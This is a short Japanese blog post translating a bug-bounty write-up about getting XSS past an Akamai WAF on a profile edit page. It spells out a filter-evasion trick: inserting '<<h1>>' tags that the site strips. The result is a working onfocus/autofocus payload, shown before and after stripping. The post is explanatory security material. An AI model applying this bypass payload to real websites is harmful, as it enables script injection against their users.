shikata ga nai

Private? There is no such things.

How I bypassed website using Akamai wafを訳してみた

Hello there, ('ω')ノ

 

Akamai WAFを使用してWebサイトをバイパスした方法を。

 

脆弱性:

 XSS

 

記事:

 https://medium.com/@yusifceferov_/how-i-bypassed-website-using-akamai-waf-e4e907aeb161

 

今回は、AkamaiのWAFの使用してWebサイトをバイパスした方法を紹介することに。

ウェブサイトのユーザ情報編集ページでxssを実行すると。

ウェブサイトは、下記を受け入れたもののAkamaiのWAFとRegexを使用していて。

 “,’,<,>

 

次に、alert、prompt、<script>などを入力すると。

ウェブサイトの応答は、403 Forbidden AccessDeniedで。

 

f:id:ThisIsOne:20210915114340p:plain

 

さらに下記を入力すると。

 A A A<<h1>>A

 

ウェブサイトは、<<h1>>を削除して下記の応答をしてくれたので。

 A A AA

 

f:id:ThisIsOne:20210915114407p:plain

 

この方法で、ウェブサイトをバイパスすることを理解できて。

 alert,prompt ⇨ 403 Forbidden

 ale rt, pro m p t ⇨ 200 OK

 aler<<h1>>r ⇨ 200 OK 

 

よって、下記のペイロードを作成することに。

     Jordisssaa” auto<<h1>>focus/on<<h1>>focus=ale<<h1>>rt(9);//

 

f:id:ThisIsOne:20210915114438p:plain

 

ウェブサイトは、<<h1>>を削除して文字列を結合してくれて。

 Jordisssaa” autofocus/onfocus=alert(9);//

 

f:id:ThisIsOne:20210915114510p:plain

 

ソースコードにvalue値に入力することができて。

 

f:id:ThisIsOne:20210915114538p:plain

 

Best regards, (^^ゞ

ひとりひとりの自覚をもった行動で、医療従事者と保健所職員を助けよう。

f:id:ThisIsOne:20200404115457p:plain